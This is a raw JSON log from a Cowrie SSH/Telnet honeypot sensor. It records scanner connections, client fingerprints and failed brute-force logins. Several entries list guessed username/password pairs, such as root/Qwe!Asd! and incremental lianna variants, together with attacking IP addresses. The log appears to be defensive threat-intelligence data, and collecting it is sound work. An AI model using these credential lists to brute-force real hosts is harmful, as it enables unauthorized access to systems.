{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:00.158659Z","src_ip":"159.203.92.129","session":"58b40b59c869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"W.01-.Mqxz1WLQC","message":"login attempt [ansible/W.01-.Mqxz1WLQC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:00.195571Z","src_ip":"159.203.92.129","session":"58b40b59c869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.328195571899414,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:00.274744Z","src_ip":"139.162.207.207","session":"c4eada1833c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:01.204683Z","src_ip":"159.203.92.129","session":"58b40b59c869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":44212,"dst_ip":"10.17.0.5","dst_port":23,"session":"50df66e737c5","protocol":"telnet","message":"New connection: 139.162.207.207:44212 (10.17.0.5:23) [session: 50df66e737c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:02.845592Z"}
{"eventid":"cowrie.session.closed","duration":33.12140226364136,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:03.947459Z","src_ip":"209.126.87.217","session":"6d3659dd7e9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.772191286087036,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:05.474200Z","src_ip":"209.126.87.217","session":"efffe406d65d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":33578,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a8f36c4fd79","protocol":"ssh","message":"New connection: 103.146.202.174:33578 (159.203.135.109:22) [session: 5a8f36c4fd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:06.926195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:06.931273Z","src_ip":"103.146.202.174","session":"5a8f36c4fd79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:07.185445Z","src_ip":"103.146.202.174","session":"5a8f36c4fd79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe!Asd!","message":"login attempt [root/Qwe!Asd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:08.239278Z","src_ip":"103.146.202.174","session":"5a8f36c4fd79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.86810517311096,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:09.427521Z","src_ip":"209.126.87.217","session":"e3217341f1db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:09.495338Z","src_ip":"103.146.202.174","session":"5a8f36c4fd79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42596,"dst_ip":"159.203.135.109","dst_port":23,"session":"58e5bfb51d17","protocol":"telnet","message":"New connection: 209.126.87.217:42596 (159.203.135.109:23) [session: 58e5bfb51d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:10.452782Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42598,"dst_ip":"159.203.135.109","dst_port":23,"session":"e25dd8371931","protocol":"telnet","message":"New connection: 209.126.87.217:42598 (159.203.135.109:23) [session: e25dd8371931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:11.485980Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":42612,"dst_ip":"159.203.135.109","dst_port":23,"session":"6597f9a5ed4b","protocol":"telnet","message":"New connection: 209.126.87.217:42612 (159.203.135.109:23) [session: 6597f9a5ed4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:12.444884Z"}
{"eventid":"cowrie.session.closed","duration":37.105244636535645,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:13.962527Z","src_ip":"139.162.207.207","session":"2ed183c6e613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18989109992981,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:14.451529Z","src_ip":"209.126.87.217","session":"ea8ec4f5c9c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":35728,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3686ef33187","protocol":"ssh","message":"New connection: 160.119.76.63:35728 (159.203.135.109:22) [session: a3686ef33187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:16.242328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:16.253152Z","src_ip":"160.119.76.63","session":"a3686ef33187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:16.357156Z","src_ip":"160.119.76.63","session":"a3686ef33187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scan","password":"","message":"login attempt [scan/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:16.723974Z","src_ip":"160.119.76.63","session":"a3686ef33187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:17.837193Z","src_ip":"160.119.76.63","session":"a3686ef33187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":43752,"dst_ip":"10.17.0.5","dst_port":22,"session":"3707567a5090","protocol":"ssh","message":"New connection: 45.43.86.48:43752 (10.17.0.5:22) [session: 3707567a5090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:18.280272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:18.313690Z","src_ip":"45.43.86.48","session":"3707567a5090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:18.472728Z","src_ip":"45.43.86.48","session":"3707567a5090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.359686851501465,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:21.066425Z","src_ip":"139.162.207.207","session":"42ea4314103a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345q","message":"login attempt [user/12345q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:21.691895Z","src_ip":"45.43.86.48","session":"3707567a5090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:22.888122Z","src_ip":"45.43.86.48","session":"3707567a5090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":45852,"dst_ip":"159.203.135.109","dst_port":23,"session":"5249ab49cf5b","protocol":"telnet","message":"New connection: 209.126.87.217:45852 (159.203.135.109:23) [session: 5249ab49cf5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:24.450101Z"}
{"eventid":"cowrie.session.closed","duration":32.33566641807556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:26.313068Z","src_ip":"209.126.87.217","session":"3bee3795cab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":7702,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d798d3b153e","protocol":"ssh","message":"New connection: 213.209.159.159:7702 (159.203.135.109:22) [session: 6d798d3b153e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:26.669399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:26.743196Z","src_ip":"213.209.159.159","session":"6d798d3b153e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:26.821715Z","src_ip":"213.209.159.159","session":"6d798d3b153e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.14086198806763,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:26.876479Z","src_ip":"185.26.126.47","session":"65ee2600faf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.32683277130127,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:26.929850Z","src_ip":"139.162.207.207","session":"3cf2b58e1f5e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna","message":"login attempt [lianna/lianna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:27.179025Z","src_ip":"213.209.159.159","session":"6d798d3b153e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna1","message":"login attempt [lianna/lianna1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:28.264659Z","src_ip":"213.209.159.159","session":"6d798d3b153e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna123","message":"login attempt [lianna/lianna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:29.349911Z","src_ip":"213.209.159.159","session":"6d798d3b153e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna1234","message":"login attempt [lianna/lianna1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:30.436251Z","src_ip":"213.209.159.159","session":"6d798d3b153e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lianna","password":"lianna12345","message":"login attempt [lianna/lianna12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:31.529858Z","src_ip":"213.209.159.159","session":"6d798d3b153e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:32.613890Z","src_ip":"213.209.159.159","session":"6d798d3b153e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53498,"dst_ip":"10.17.0.5","dst_port":23,"session":"18d31e7572aa","protocol":"telnet","message":"New connection: 139.162.207.207:53498 (10.17.0.5:23) [session: 18d31e7572aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:32.985905Z"}
{"eventid":"cowrie.session.closed","duration":33.50609254837036,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:36.351574Z","src_ip":"139.162.207.207","session":"50df66e737c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.99128484725952,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:36.484989Z","src_ip":"139.162.207.207","session":"b0963dc7e108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":48638,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c100010ab6","protocol":"telnet","message":"New connection: 139.162.207.207:48638 (10.17.0.5:23) [session: 52c100010ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:37.416120Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":43394,"dst_ip":"159.203.135.109","dst_port":23,"session":"5318bfb7582b","protocol":"telnet","message":"New connection: 185.26.126.47:43394 (159.203.135.109:23) [session: 5318bfb7582b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:38.770518Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39590,"dst_ip":"159.203.135.109","dst_port":23,"session":"166a2ac64e18","protocol":"telnet","message":"New connection: 209.126.87.217:39590 (159.203.135.109:23) [session: 166a2ac64e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:40.682417Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39602,"dst_ip":"159.203.135.109","dst_port":23,"session":"2acc2b95d449","protocol":"telnet","message":"New connection: 209.126.87.217:39602 (159.203.135.109:23) [session: 2acc2b95d449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:42.360258Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48450,"dst_ip":"159.203.135.109","dst_port":22,"session":"52b964c480db","protocol":"ssh","message":"New connection: 159.203.92.129:48450 (159.203.135.109:22) [session: 52b964c480db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:43.391240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:43.395959Z","src_ip":"159.203.92.129","session":"52b964c480db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:21:43.400026Z","src_ip":"159.203.92.129","session":"52b964c480db","protocol":"ssh"}
